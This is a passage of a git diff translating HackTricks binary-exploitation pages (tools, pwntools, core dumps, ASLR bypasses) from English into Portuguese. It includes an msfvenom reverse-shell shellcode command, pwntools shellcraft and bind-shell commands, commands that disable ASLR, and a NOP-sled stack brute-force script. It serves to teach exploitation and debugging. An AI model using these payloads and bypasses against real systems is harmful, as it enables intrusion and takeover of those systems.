**`INIT_ARRAYSZ`** e **`FINI_ARRAYSZ`**. Cada entrada é um ponteiro de função que será chamado sem argumentos. -The other option, as mentioned, is to reference the lists **`__CTOR_LIST__`** and **`__DTOR_LIST__`** in the **`INIT_ARRAY`** and **`FINI_ARRAY`** entries in the dynamic section and the length of these are indicated by **`INIT_ARRAYSZ`** and **`FINI_ARRAYSZ`**. Each entry is a function pointer that will be called without arguments. +Além disso, também é possível ter um **`PREINIT_ARRAY`** com **ponteiros** que serão executados **antes** dos ponteiros **`INIT_ARRAY`**. -Moreover, it's also possible to have a **`PREINIT_ARRAY`** with **pointers** that will be executed **before** the **`INIT_ARRAY`** pointers. +### Ordem de Inicialização -### Initialization Order +1. O programa é carregado na memória, variáveis globais estáticas são inicializadas em **`.data`** e as não inicializadas são zeradas em **`.bss`**. +2. Todas as **dependências** para o programa ou bibliotecas são **inicializadas** e o **link dinâmico** é executado. +3. Funções **`PREINIT_ARRAY`** são executadas. +4. Funções **`INIT_ARRAY`** são executadas. +5. Se houver uma entrada **`INIT`**, ela é chamada. +6. Se for uma biblioteca, dlopen termina aqui; se for um programa, é hora de chamar o **ponto de entrada real** (função `main`). -1. The program is loaded into memory, static global variables are initialized in **`.data`** and unitialized ones zeroed in **`.bss`**. -2. All **dependencies** for the program or libraries are **initialized** and the the **dynamic linking** is executed. -3. **`PREINIT_ARRAY`** functions are executed. -4. **`INIT_ARRAY`** functions are executed. -5. If there is a **`INIT`** entry it's called. -6. If a library, dlopen ends here, if a program, it's time to call the **real entry point** (`main` function). +## Armazenamento Local de Thread (TLS) -## Thread-Local Storage (TLS) +Eles são definidos usando a palavra-chave **`__thread_local`** em C++ ou a extensão GNU **`__thread`**. -They are defined using the keyword **`__thread_local`** in C++ or the GNU extension **`__thread`**. +Cada thread manterá uma localização única para essa variável, de modo que apenas a thread pode acessar sua variável. -Each thread will maintain a unique location for this variable so only the thread can access its variable. +Quando isso é usado, as seções **`.tdata`** e **`.tbss`** são usadas no ELF. Que são como `.data` (inicializado) e `.bss` (não inicializado), mas para TLS. -When this is used the sections **`.tdata`** and **`.tbss`** are used in the ELF. Which are like `.data` (initialized) and `.bss` (not initialized) but for TLS. +Cada variável terá uma entrada no cabeçalho TLS especificando o tamanho e o deslocamento TLS, que é o deslocamento que será usado na área de dados local da thread. -Each variable will hace an entry in the TLS header specifying the size and the TLS offset, which is the offset it will use in the thread's local data area. - -The `__TLS_MODULE_BASE` is a symbol used to refer to the base address of the thread local storage and points to the area in memory that contains all the thread-local data of a module. +O `__TLS_MODULE_BASE` é um símbolo usado para se referir ao endereço base do armazenamento local de thread e aponta para a área na memória que contém todos os dados locais de thread de um módulo. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md index 70aa57cc5..af6558342 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md @@ -1,9 +1,8 @@ -# Exploiting Tools +# Ferramentas de Exploração {{#include ../../../banners/hacktricks-training.md}} ## Metasploit - ```bash pattern_create.rb -l 3000 #Length pattern_offset.rb -l 3000 -q 5f97d534 #Search offset @@ -11,31 +10,23 @@ nasm_shell.rb nasm> jmp esp #Get opcodes msfelfscan -j esi /opt/fusion/bin/level01 ``` - ### Shellcodes - ```bash msfvenom /p windows/shell_reverse_tcp LHOST= LPORT= [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c ``` - ## GDB -### Install - +### Instalar ```bash apt-get install gdb ``` - -### Parameters - +### Parâmetros ```bash -q # No show banner -x # Auto-execute GDB instructions from here -p # Attach to process ``` - -### Instructions - +### Instruções ```bash run # Execute start # Start and break in main @@ -81,11 +72,9 @@ x/s pointer # String pointed by the pointer x/xw &pointer # Address where the pointer is located x/i $eip # Instructions of the EIP ``` - ### [GEF](https://github.com/hugsy/gef) -You could optionally use [**this fork of GE**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef) which contains more interesting instructions. - +Você pode opcionalmente usar [**este fork do GE**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef) que contém instruções mais interessantes. ```bash help memory # Get help on memory command canary # Search for canary value in memory @@ -118,34 +107,32 @@ dump binary memory /tmp/dump.bin 0x200000000 0x20000c350 1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it 2- ef➤ i f Stack level 0, frame at 0x7fffffffddd0: - rip = 0x400cd3; saved rip = 0x6261617762616176 - called by frame at 0x7fffffffddd8 - Arglist at 0x7fffffffdcf8, args: - Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0 - Saved registers: - rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8 +rip = 0x400cd3; saved rip = 0x6261617762616176 +called by frame at 0x7fffffffddd8 +Arglist at 0x7fffffffdcf8, args: +Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0 +Saved registers: +rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8 gef➤ pattern search 0x6261617762616176 [+] Searching for '0x6261617762616176' [+] Found at offset 184 (little-endian search) likely ``` +### Truques -### Tricks +#### Endereços iguais no GDB -#### GDB same addresses - -While debugging GDB will have **slightly different addresses than the used by the binary when executed.** You can make GDB have the same addresses by doing: +Ao depurar, o GDB terá **endereços ligeiramente diferentes dos usados pelo binário quando executado.** Você pode fazer com que o GDB tenha os mesmos endereços fazendo: - `unset env LINES` - `unset env COLUMNS` -- `set env _=` _Put the absolute path to the binary_ -- Exploit the binary using the same absolute route -- `PWD` and `OLDPWD` must be the same when using GDB and when exploiting the binary +- `set env _=` _Coloque o caminho absoluto para o binário_ +- Exploit o binário usando a mesma rota absoluta +- `PWD` e `OLDPWD` devem ser os mesmos ao usar o GDB e ao explorar o binário -#### Backtrace to find functions called - -When you have a **statically linked binary** all the functions will belong to the binary (and no to external libraries). In this case it will be difficult to **identify the flow that the binary follows to for example ask for user input**.\ -You can easily identify this flow by **running** the binary with **gdb** until you are asked for input. Then, stop it with **CTRL+C** and use the **`bt`** (**backtrace**) command to see the functions called: +#### Backtrace para encontrar funções chamadas +Quando você tem um **binário vinculado estaticamente**, todas as funções pertencerão ao binário (e não a bibliotecas externas). Nesse caso, será difícil **identificar o fluxo que o binário segue para, por exemplo, solicitar entrada do usuário.**\ +Você pode identificar facilmente esse fluxo **executando** o binário com **gdb** até que seja solicitado a entrada. Em seguida, pare-o com **CTRL+C** e use o comando **`bt`** (**backtrace**) para ver as funções chamadas: ``` gef➤ bt #0 0x00000000004498ae in ?? () @@ -154,87 +141,80 @@ gef➤ bt #3 0x00000000004011a9 in ?? () #4 0x0000000000400a5a in ?? () ``` +### Servidor GDB -### GDB server - -`gdbserver --multi 0.0.0.0:23947` (in IDA you have to fill the absolute path of the executable in the Linux machine and in the Windows machine) +`gdbserver --multi 0.0.0.0:23947` (no IDA você deve preencher o caminho absoluto do executável na máquina Linux e na máquina Windows) ## Ghidra -### Find stack offset +### Encontrar offset da pilha -**Ghidra** is very useful to find the the **offset** for a **buffer overflow thanks to the information about the position of the local variables.**\ -For example, in the example below, a buffer flow in `local_bc` indicates that you need an offset of `0xbc`. Moreover, if `local_10` is a canary cookie it indicates that to overwrite it from `local_bc` there is an offset of `0xac`.\ -&#xNAN;_Remember that the first 0x08 from where the RIP is saved belongs to the RBP._ +**Ghidra** é muito útil para encontrar o **offset** para um **buffer overflow graças às informações sobre a posição das variáveis locais.**\ +Por exemplo, no exemplo abaixo, um buffer flow em `local_bc` indica que você precisa de um offset de `0xbc`. Além disso, se `local_10` for um canary cookie, isso indica que para sobrescrevê-lo a partir de `local_bc` há um offset de `0xac`.\ +&#xNAN;_Remember que os primeiros 0x08 de onde o RIP é salvo pertencem ao RBP._ ![](<../../../images/image (1061).png>) ## qtool - ```bash qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog ``` - -Get every opcode executed in the program. +Obtenha todos os opcodes executados no programa. ## GCC -**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compile without protections\ -&#xNAN;**-o** --> Output\ -&#xNAN;**-g** --> Save code (GDB will be able to see it)\ -**echo 0 > /proc/sys/kernel/randomize_va_space** --> To deactivate the ASLR in linux +**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compile sem proteções\ +&#xNAN;**-o** --> Saída\ +&#xNAN;**-g** --> Salvar código (GDB poderá vê-lo)\ +**echo 0 > /proc/sys/kernel/randomize_va_space** --> Para desativar o ASLR no linux -**To compile a shellcode:**\ -**nasm -f elf assembly.asm** --> return a ".o"\ -**ld assembly.o -o shellcodeout** --> Executable +**Para compilar um shellcode:**\ +**nasm -f elf assembly.asm** --> retorna um ".o"\ +**ld assembly.o -o shellcodeout** --> Executável ## Objdump -**-d** --> **Disassemble executable** sections (see opcodes of a compiled shellcode, find ROP Gadgets, find function address...)\ -&#xNAN;**-Mintel** --> **Intel** syntax\ -&#xNAN;**-t** --> **Symbols** table\ -&#xNAN;**-D** --> **Disassemble all** (address of static variable)\ -&#xNAN;**-s -j .dtors** --> dtors section\ -&#xNAN;**-s -j .got** --> got section\ --D -s -j .plt --> **plt** section **decompiled**\ -&#xNAN;**-TR** --> **Relocations**\ -**ojdump -t --dynamic-relo ./exec | grep puts** --> Address of "puts" to modify in GOT\ -**objdump -D ./exec | grep "VAR_NAME"** --> Address or a static variable (those are stored in DATA section). +**-d** --> **Desmontar** seções executáveis (ver opcodes de um shellcode compilado, encontrar ROP Gadgets, encontrar endereço de função...)\ +&#xNAN;**-Mintel** --> Sintaxe **Intel**\ +&#xNAN;**-t** --> Tabela de **Símbolos**\ +&#xNAN;**-D** --> **Desmontar tudo** (endereço de variável estática)\ +&#xNAN;**-s -j .dtors** --> seção dtors\ +&#xNAN;**-s -j .got** --> seção got\ +-D -s -j .plt --> seção **plt** **decompilada**\ +&#xNAN;**-TR** --> **Relocações**\ +**ojdump -t --dynamic-relo ./exec | grep puts** --> Endereço de "puts" para modificar no GOT\ +**objdump -D ./exec | grep "VAR_NAME"** --> Endereço ou uma variável estática (essas são armazenadas na seção DATA). ## Core dumps -1. Run `ulimit -c unlimited` before starting my program -2. Run `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` +1. Execute `ulimit -c unlimited` antes de iniciar meu programa +2. Execute `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` 3. sudo gdb --core=\ --quiet -## More +## Mais -**ldd executable | grep libc.so.6** --> Address (if ASLR, then this change every time)\ -**for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> Loop to see if the address changes a lot\ -**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset of "system"\ -**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset of "/bin/sh" +**ldd executable | grep libc.so.6** --> Endereço (se ASLR, então isso muda toda vez)\ +**for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> Loop para ver se o endereço muda muito\ +**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset de "system"\ +**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset de "/bin/sh" -**strace executable** --> Functions called by the executable\ -**rabin2 -i ejecutable -->** Address of all the functions +**strace executable** --> Funções chamadas pelo executável\ +**rabin2 -i ejecutable -->** Endereço de todas as funções ## **Inmunity debugger** - ```bash !mona modules #Get protections, look for all false except last one (Dll of SO) !mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP) ``` - ## IDA -### Debugging in remote linux - -Inside the IDA folder you can find binaries that can be used to debug a binary inside a linux. To do so move the binary `linux_server` or `linux_server64` inside the linux server and run it nside the folder that contains the binary: +### Depuração em linux remoto +Dentro da pasta IDA, você pode encontrar binários que podem ser usados para depurar um binário dentro de um linux. Para fazer isso, mova o binário `linux_server` ou `linux_server64` para dentro do servidor linux e execute-o dentro da pasta que contém o binário: ``` ./linux_server64 -Ppass ``` - -Then, configure the debugger: Debugger (linux remote) --> Proccess options...: +Em seguida, configure o depurador: Debugger (linux remote) --> Proccess options...: ![](<../../../images/image (858).png>) diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md index 6175aeaa2..910d31779 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md @@ -1,120 +1,100 @@ # PwnTools {{#include ../../../banners/hacktricks-training.md}} - ``` pip3 install pwntools ``` - ## Pwn asm -Get **opcodes** from line or file. - +Obtenha **opcodes** de linha ou arquivo. ``` pwn asm "jmp esp" pwn asm -i ``` +**Pode selecionar:** -**Can select:** +- tipo de saída (raw, hex, string, elf) +- contexto do arquivo de saída (16, 32, 64, linux, windows...) +- evitar bytes (novas linhas, nulo, uma lista) +- selecionar codificador de shellcode de depuração usando gdb para executar a saída -- output type (raw,hex,string,elf) -- output file context (16,32,64,linux,windows...) -- avoid bytes (new lines, null, a list) -- select encoder debug shellcode using gdb run the output - -## **Pwn checksec** - -Checksec script +## **Verificação de Pwn** +Script de checksec ``` pwn checksec ``` - ## Pwn constgrep ## Pwn cyclic -Get a pattern - +Obtenha um padrão ``` pwn cyclic 3000 pwn cyclic -l faad ``` +**Pode selecionar:** -**Can select:** - -- The used alphabet (lowercase chars by default) -- Length of uniq pattern (default 4) -- context (16,32,64,linux,windows...) -- Take the offset (-l) +- O alfabeto usado (caracteres minúsculos por padrão) +- Comprimento do padrão único (padrão 4) +- contexto (16,32,64,linux,windows...) +- Pegue o deslocamento (-l) ## Pwn debug -Attach GDB to a process - +Anexe o GDB a um processo ``` pwn debug --exec /bin/bash pwn debug --pid 1234 pwn debug --process bash ``` +**Pode selecionar:** -**Can select:** - -- By executable, by name or by pid context (16,32,64,linux,windows...) -- gdbscript to execute +- Por executável, por nome ou por contexto de pid (16,32,64,linux,windows...) +- gdbscript para executar - sysrootpath ## Pwn disablenx -Disable nx of a binary - +Desativar nx de um binário ``` pwn disablenx ``` - ## Pwn disasm -Disas hex opcodes - +Desassemble opcodes hex ``` pwn disasm ffe4 ``` +**Pode selecionar:** -**Can select:** - -- context (16,32,64,linux,windows...) -- base addres -- color(default)/no color +- contexto (16,32,64,linux,windows...) +- endereço base +- cor(padrão)/sem cor ## Pwn elfdiff -Print differences between 2 files - +Imprime as diferenças entre 2 arquivos ``` pwn elfdiff ``` - ## Pwn hex -Get hexadecimal representation - +Obter representação hexadecimal ```bash pwn hex hola #Get hex of "hola" ascii ``` - ## Pwn phd -Get hexdump - +Obter hexdump ``` pwn phd ``` +**Pode selecionar:** -**Can select:** - -- Number of bytes to show -- Number of bytes per line highlight byte -- Skip bytes at beginning +- Número de bytes a mostrar +- Número de bytes por linha para destacar byte +- Ignorar bytes no início ## Pwn pwnstrip @@ -122,8 +102,7 @@ pwn phd ## Pwn shellcraft -Get shellcodes - +Obter shellcodes ``` pwn shellcraft -l #List shellcodes pwn shellcraft -l amd #Shellcode with amd in the name @@ -131,46 +110,39 @@ pwn shellcraft -f hex amd64.linux.sh #Create in C and run pwn shellcraft -r amd64.linux.sh #Run to test. Get shell pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port ``` +**Pode selecionar:** -**Can select:** +- shellcode e argumentos para o shellcode +- Arquivo de saída +- formato de saída +- depuração (anexar dbg ao shellcode) +- antes (trap de depuração antes do código) +- depois +- evitar usar opcodes (padrão: não nulo e nova linha) +- Executar o shellcode +- Cor/sem cor +- listar syscalls +- listar possíveis shellcodes +- Gerar ELF como uma biblioteca compartilhada -- shellcode and arguments for the shellcode -- Out file -- output format -- debug (attach dbg to shellcode) -- before (debug trap before code) -- after -- avoid using opcodes (default: not null and new line) -- Run the shellcode -- Color/no color -- list syscalls -- list possible shellcodes -- Generate ELF as a shared library - -## Pwn template - -Get a python template +## Modelo Pwn +Obtenha um modelo em python ``` pwn template ``` - -**Can select:** host, port, user, pass, path and quiet +**Pode selecionar:** host, porta, usuário, senha, caminho e silencioso ## Pwn unhex -From hex to string - +De hex para string ``` pwn unhex 686f6c61 ``` +## Atualização do Pwn -## Pwn update - -To update pwntools - +Para atualizar o pwntools ``` pwn update ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/README.md b/src/binary-exploitation/common-binary-protections-and-bypasses/README.md index 47681ba71..a59bc34d8 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/README.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/README.md @@ -1,35 +1,29 @@ -# Common Binary Exploitation Protections & Bypasses +# Proteções e Bypasses Comuns de Exploração Binária {{#include ../../banners/hacktricks-training.md}} -## Enable Core files +## Habilitar arquivos de Core -**Core files** are a type of file generated by an operating system when a process crashes. These files capture the memory image of the crashed process at the time of its termination, including the process's memory, registers, and program counter state, among other details. This snapshot can be extremely valuable for debugging and understanding why the crash occurred. +**Arquivos de Core** são um tipo de arquivo gerado por um sistema operacional quando um processo falha. Esses arquivos capturam a imagem de memória do processo que falhou no momento de sua terminação, incluindo a memória do processo, registradores e o estado do contador de programa, entre outros detalhes. Essa captura pode ser extremamente valiosa para depuração e compreensão do motivo da falha. -### **Enabling Core Dump Generation** +### **Habilitando a Geração de Core Dumps** -By default, many systems limit the size of core files to 0 (i.e., they do not generate core files) to save disk space. To enable the generation of core files, you can use the **`ulimit`** command (in bash or similar shells) or configure system-wide settings. - -- **Using ulimit**: The command `ulimit -c unlimited` allows the current shell session to create unlimited-sized core files. This is useful for debugging sessions but is not persistent across reboots or new sessions. +Por padrão, muitos sistemas limitam o tamanho dos arquivos de core a 0 (ou seja, não geram arquivos de core) para economizar espaço em disco. Para habilitar a geração de arquivos de core, você pode usar o comando **`ulimit`** (no bash ou shells semelhantes) ou configurar as definições em todo o sistema. +- **Usando ulimit**: O comando `ulimit -c unlimited` permite que a sessão de shell atual crie arquivos de core de tamanho ilimitado. Isso é útil para sessões de depuração, mas não é persistente entre reinicializações ou novas sessões. ```bash ulimit -c unlimited ``` - -- **Persistent Configuration**: For a more permanent solution, you can edit the `/etc/security/limits.conf` file to include a line like `* soft core unlimited`, which allows all users to generate unlimited size core files without having to set ulimit manually in their sessions. - +- **Configuração Persistente**: Para uma solução mais permanente, você pode editar o arquivo `/etc/security/limits.conf` para incluir uma linha como `* soft core unlimited`, que permite que todos os usuários gerem arquivos de core de tamanho ilimitado sem precisar definir ulimit manualmente em suas sessões. ```markdown - soft core unlimited ``` +### **Analisando Arquivos de Core com GDB** -### **Analyzing Core Files with GDB** - -To analyze a core file, you can use debugging tools like GDB (the GNU Debugger). Assuming you have an executable that produced a core dump and the core file is named `core_file`, you can start the analysis with: - +Para analisar um arquivo de core, você pode usar ferramentas de depuração como o GDB (GNU Debugger). Supondo que você tenha um executável que produziu um despejo de core e o arquivo de core é nomeado `core_file`, você pode iniciar a análise com: ```bash gdb /path/to/executable /path/to/core_file ``` - -This command loads the executable and the core file into GDB, allowing you to inspect the state of the program at the time of the crash. You can use GDB commands to explore the stack, examine variables, and understand the cause of the crash. +Este comando carrega o executável e o arquivo de core no GDB, permitindo que você inspecione o estado do programa no momento da falha. Você pode usar comandos do GDB para explorar a pilha, examinar variáveis e entender a causa da falha. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md index e33c7a3be..6db3e806e 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md @@ -2,107 +2,92 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Informações Básicas -**Address Space Layout Randomization (ASLR)** is a security technique used in operating systems to **randomize the memory addresses** used by system and application processes. By doing so, it makes it significantly harder for an attacker to predict the location of specific processes and data, such as the stack, heap, and libraries, thereby mitigating certain types of exploits, particularly buffer overflows. +**Address Space Layout Randomization (ASLR)** é uma técnica de segurança utilizada em sistemas operacionais para **randomizar os endereços de memória** usados por processos do sistema e de aplicativos. Ao fazer isso, torna-se significativamente mais difícil para um atacante prever a localização de processos e dados específicos, como a pilha, heap e bibliotecas, mitigando assim certos tipos de exploits, particularmente estouros de buffer. -### **Checking ASLR Status** +### **Verificando o Status do ASLR** -To **check** the ASLR status on a Linux system, you can read the value from the **`/proc/sys/kernel/randomize_va_space`** file. The value stored in this file determines the type of ASLR being applied: +Para **verificar** o status do ASLR em um sistema Linux, você pode ler o valor do arquivo **`/proc/sys/kernel/randomize_va_space`**. O valor armazenado neste arquivo determina o tipo de ASLR que está sendo aplicado: -- **0**: No randomization. Everything is static. -- **1**: Conservative randomization. Shared libraries, stack, mmap(), VDSO page are randomized. -- **2**: Full randomization. In addition to elements randomized by conservative randomization, memory managed through `brk()` is randomized. - -You can check the ASLR status with the following command: +- **0**: Sem randomização. Tudo é estático. +- **1**: Randomização conservadora. Bibliotecas compartilhadas, pilha, mmap(), página VDSO são randomizadas. +- **2**: Randomização completa. Além dos elementos randomizados pela randomização conservadora, a memória gerenciada através de `brk()` é randomizada. +Você pode verificar o status do ASLR com o seguinte comando: ```bash cat /proc/sys/kernel/randomize_va_space ``` +### **Desativando ASLR** -### **Disabling ASLR** - -To **disable** ASLR, you set the value of `/proc/sys/kernel/randomize_va_space` to **0**. Disabling ASLR is generally not recommended outside of testing or debugging scenarios. Here's how you can disable it: - +Para **desativar** ASLR, você define o valor de `/proc/sys/kernel/randomize_va_space` como **0**. Desativar ASLR geralmente não é recomendado fora de cenários de teste ou depuração. Aqui está como você pode desativá-lo: ```bash echo 0 | sudo tee /proc/sys/kernel/randomize_va_space ``` - -You can also disable ASLR for an execution with: - +Você também pode desativar o ASLR para uma execução com: ```bash setarch `arch` -R ./bin args setarch `uname -m` -R ./bin args ``` +### **Habilitando ASLR** -### **Enabling ASLR** - -To **enable** ASLR, you can write a value of **2** to the `/proc/sys/kernel/randomize_va_space` file. This typically requires root privileges. Enabling full randomization can be done with the following command: - +Para **habilitar** ASLR, você pode escrever um valor de **2** no arquivo `/proc/sys/kernel/randomize_va_space`. Isso geralmente requer privilégios de root. Habilitar a randomização completa pode ser feito com o seguinte comando: ```bash echo 2 | sudo tee /proc/sys/kernel/randomize_va_space ``` +### **Persistência Entre Reinicializações** -### **Persistence Across Reboots** - -Changes made with the `echo` commands are temporary and will be reset upon reboot. To make the change persistent, you need to edit the `/etc/sysctl.conf` file and add or modify the following line: - +As alterações feitas com os comandos `echo` são temporárias e serão redefinidas após a reinicialização. Para tornar a alteração persistente, você precisa editar o arquivo `/etc/sysctl.conf` e adicionar ou modificar a seguinte linha: ```tsconfig kernel.randomize_va_space=2 # Enable ASLR # or kernel.randomize_va_space=0 # Disable ASLR ``` - -After editing `/etc/sysctl.conf`, apply the changes with: - +Após editar `/etc/sysctl.conf`, aplique as alterações com: ```bash sudo sysctl -p ``` - -This will ensure that your ASLR settings remain across reboots. +Isso garantirá que suas configurações de ASLR permaneçam entre reinicializações. ## **Bypasses** -### 32bit brute-forcing +### Força bruta de 32 bits -PaX divides the process address space into **3 groups**: +PaX divide o espaço de endereçamento do processo em **3 grupos**: -- **Code and data** (initialized and uninitialized): `.text`, `.data`, and `.bss` —> **16 bits** of entropy in the `delta_exec` variable. This variable is randomly initialized with each process and added to the initial addresses. -- **Memory** allocated by `mmap()` and **shared libraries** —> **16 bits**, named `delta_mmap`. -- **The stack** —> **24 bits**, referred to as `delta_stack`. However, it effectively uses **11 bits** (from the 10th to the 20th byte inclusive), aligned to **16 bytes** —> This results in **524,288 possible real stack addresses**. +- **Código e dados** (inicializados e não inicializados): `.text`, `.data` e `.bss` —> **16 bits** de entropia na variável `delta_exec`. Esta variável é inicializada aleatoriamente com cada processo e adicionada aos endereços iniciais. +- **Memória** alocada por `mmap()` e **bibliotecas compartilhadas** —> **16 bits**, chamada `delta_mmap`. +- **A pilha** —> **24 bits**, referida como `delta_stack`. No entanto, ela efetivamente usa **11 bits** (do 10º ao 20º byte, inclusive), alinhados a **16 bytes** —> Isso resulta em **524.288 endereços de pilha reais possíveis**. -The previous data is for 32-bit systems and the reduced final entropy makes possible to bypass ASLR by retrying the execution once and again until the exploit completes successfully. +Os dados anteriores são para sistemas de 32 bits e a entropia final reduzida torna possível contornar o ASLR tentando a execução repetidamente até que a exploração seja concluída com sucesso. -#### Brute-force ideas: - -- If you have a big enough overflow to host a **big NOP sled before the shellcode**, you could just brute-force addresses in the stack until the flow **jumps over some part of the NOP sled**. - - Another option for this in case the overflow is not that big and the exploit can be run locally is possible to **add the NOP sled and shellcode in an environment variable**. -- If the exploit is local, you can try to brute-force the base address of libc (useful for 32bit systems): +#### Ideias de força bruta: +- Se você tiver um estouro grande o suficiente para hospedar um **grande NOP sled antes do shellcode**, você poderia simplesmente forçar endereços na pilha até que o fluxo **salte sobre alguma parte do NOP sled**. +- Outra opção para isso, caso o estouro não seja tão grande e a exploração possa ser executada localmente, é possível **adicionar o NOP sled e o shellcode em uma variável de ambiente**. +- Se a exploração for local, você pode tentar forçar o endereço base da libc (útil para sistemas de 32 bits): ```python for off in range(0xb7000000, 0xb8000000, 0x1000): ``` - -- If attacking a remote server, you could try to **brute-force the address of the `libc` function `usleep`**, passing as argument 10 (for example). If at some point the **server takes 10s extra to respond**, you found the address of this function. +- Se você estiver atacando um servidor remoto, pode tentar **forçar a descoberta do endereço da função `usleep` da `libc`**, passando como argumento 10 (por exemplo). Se em algum momento o **servidor demora 10s a mais para responder**, você encontrou o endereço dessa função. > [!TIP] -> In 64bit systems the entropy is much higher and this shouldn't possible. +> Em sistemas de 64 bits, a entropia é muito maior e isso não deveria ser possível. -### 64 bits stack brute-forcing - -It's possible to occupy a big part of the stack with env variables and then try to abuse the binary hundreds/thousands of times locally to exploit it.\ -The following code shows how it's possible to **just select an address in the stack** and every **few hundreds of executions** that address will contain the **NOP instruction**: +### Força bruta na pilha de 64 bits +É possível ocupar uma grande parte da pilha com variáveis de ambiente e então tentar abusar do binário centenas/milhares de vezes localmente para explorá-lo.\ +O código a seguir mostra como é possível **apenas selecionar um endereço na pilha** e a cada **algumas centenas de execuções** esse endereço conterá a **instrução NOP**: ```c //clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie #include int main() { - unsigned long long address = 0xffffff1e7e38; - unsigned int* ptr = (unsigned int*)address; - unsigned int value = *ptr; - printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value); - return 0; +unsigned long long address = 0xffffff1e7e38; +unsigned int* ptr = (unsigned int*)address; +unsigned int value = *ptr; +printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value); +return 0; } ``` @@ -117,70 +102,68 @@ shellcode_env_var = nop * n_nops # Define the environment variables you want to set env_vars = { - 'a': shellcode_env_var, - 'b': shellcode_env_var, - 'c': shellcode_env_var, - 'd': shellcode_env_var, - 'e': shellcode_env_var, - 'f': shellcode_env_var, - 'g': shellcode_env_var, - 'h': shellcode_env_var, - 'i': shellcode_env_var, - 'j': shellcode_env_var, - 'k': shellcode_env_var, - 'l': shellcode_env_var, - 'm': shellcode_env_var, - 'n': shellcode_env_var, - 'o': shellcode_env_var, - 'p': shellcode_env_var, +'a': shellcode_env_var, +'b': shellcode_env_var, +'c': shellcode_env_var, +'d': shellcode_env_var, +'e': shellcode_env_var, +'f': shellcode_env_var, +'g': shellcode_env_var, +'h': shellcode_env_var, +'i': shellcode_env_var, +'j': shellcode_env_var, +'k': shellcode_env_var, +'l': shellcode_env_var, +'m': shellcode_env_var, +'n': shellcode_env_var, +'o': shellcode_env_var, +'p': shellcode_env_var, } cont = 0 while True: - cont += 1 +cont += 1 - if cont % 10000 == 0: - break +if cont % 10000 == 0: +break - print(cont, end="\r") - # Define the path to your binary - binary_path = './aslr-testing' +print(cont, end="\r") +# Define the path to your binary +binary_path = './aslr-testing' - try: - process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True) - output = process.communicate()[0] - if "0xd5" in str(output): - print(str(cont) + " -> " + output) - except Exception as e: - print(e) - print(traceback.format_exc()) - pass +try: +process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True) +output = process.communicate()[0] +if "0xd5" in str(output): +print(str(cont) + " -> " + output) +except Exception as e: +print(e) +print(traceback.format_exc()) +pass ``` -
-### Local Information (`/proc/[pid]/stat`) +### Informações Locais (`/proc/[pid]/stat`) -The file **`/proc/[pid]/stat`** of a process is always readable by everyone and it **contains interesting** information such as: +O arquivo **`/proc/[pid]/stat`** de um processo é sempre legível por todos e **contém informações interessantes** como: -- **startcode** & **endcode**: Addresses above and below with the **TEXT** of the binary -- **startstack**: The address of the start of the **stack** -- **start_data** & **end_data**: Addresses above and below where the **BSS** is -- **kstkesp** & **kstkeip**: Current **ESP** and **EIP** addresses -- **arg_start** & **arg_end**: Addresses above and below where **cli arguments** are. -- **env_start** &**env_end**: Addresses above and below where **env variables** are. +- **startcode** & **endcode**: Endereços acima e abaixo com o **TEXT** do binário +- **startstack**: O endereço do início da **stack** +- **start_data** & **end_data**: Endereços acima e abaixo onde está o **BSS** +- **kstkesp** & **kstkeip**: Endereços atuais de **ESP** e **EIP** +- **arg_start** & **arg_end**: Endereços acima e abaixo onde estão os **argumentos cli**. +- **env_start** & **env_end**: Endereços acima e abaixo onde estão as 